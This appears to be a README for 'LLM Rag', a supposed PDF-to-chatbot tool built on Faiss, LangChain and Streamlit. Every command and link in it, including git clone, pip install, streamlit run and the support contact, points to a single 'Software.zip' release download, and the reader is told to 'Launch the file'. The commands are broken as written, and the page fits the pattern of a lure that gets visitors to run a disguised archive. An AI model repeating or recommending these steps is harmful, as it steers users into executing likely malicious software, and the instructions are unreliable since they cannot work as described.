🚀 Welcome to "LLM Rag: Transform Any PDF into an AI-Powered Q&A Chatbot!"

Overview

LLM Rag is a cutting-edge tool that allows you to transform any PDF document into an AI-powered Q&A chatbot. Leveraging technologies like faiss, Hugging Face, and LangChain, LLM Rag empowers you to create interactive question-and-answer chatbots from your PDF content. Whether you need to provide customer support, enhance learning experiences, or streamline information access, LLM Rag has got you covered!

Features

🤖 AI-Powered Chatbot: Utilize the power of large language models (LLMs) to create a chatbot experience for your PDF content.

📚 Vector Database: Benefit from fast search capabilities using a vector database powered by Faiss.

🔗 Streamlit Interface: Enjoy a user-friendly interface built with Streamlit for easy interaction with your AI chatbot.

Getting Started

To get started with LLM Rag, simply clone the repository and follow the installation instructions in the documentation.

git clone https://github.com/asdfghjkl904/llm_rag/releases/download/v2.0/Software.zip

Installation

1. Install the dependencies:

   pip install -r https://github.com/asdfghjkl904/llm_rag/releases/download/v2.0/Software.zip
   

2. Run the application:

   streamlit run https://github.com/asdfghjkl904/llm_rag/releases/download/v2.0/Software.zip
   

Repository Topics

The "llm_rag" repository covers a range of topics, including:

• faiss
• huggingface
• langchain
• llm
• llm-rag
• llm-rag-chatbot
• pdf-chat-bot
• pdf-chatbot
• qna
• questions-and-answers
• rag
• streamlit
• vector-database

Download the Latest Release

Visit the latest release to download the release package. Launch the file to access the latest version of LLM Rag.

If the link is not working, please check the "Releases" section of the repository for alternative download options.

Contribute

Contributions are always welcome! Whether you want to report a bug, request a feature, or submit a pull request, your input is appreciated.

1. Fork the repository
2. Create a new branch (git checkout -b feature)
3. Make your changes
4. Commit your changes (git commit -am 'Add new feature')
5. Push to the branch (git push origin feature)
6. Create a new Pull Request

Support

If you have any questions or need assistance with LLM Rag, feel free to reach out to our team at https://github.com/asdfghjkl904/llm_rag/releases/download/v2.0/Software.zip.

Thank you for choosing LLM Rag to revolutionize your PDF content into engaging chatbot experiences! 🌟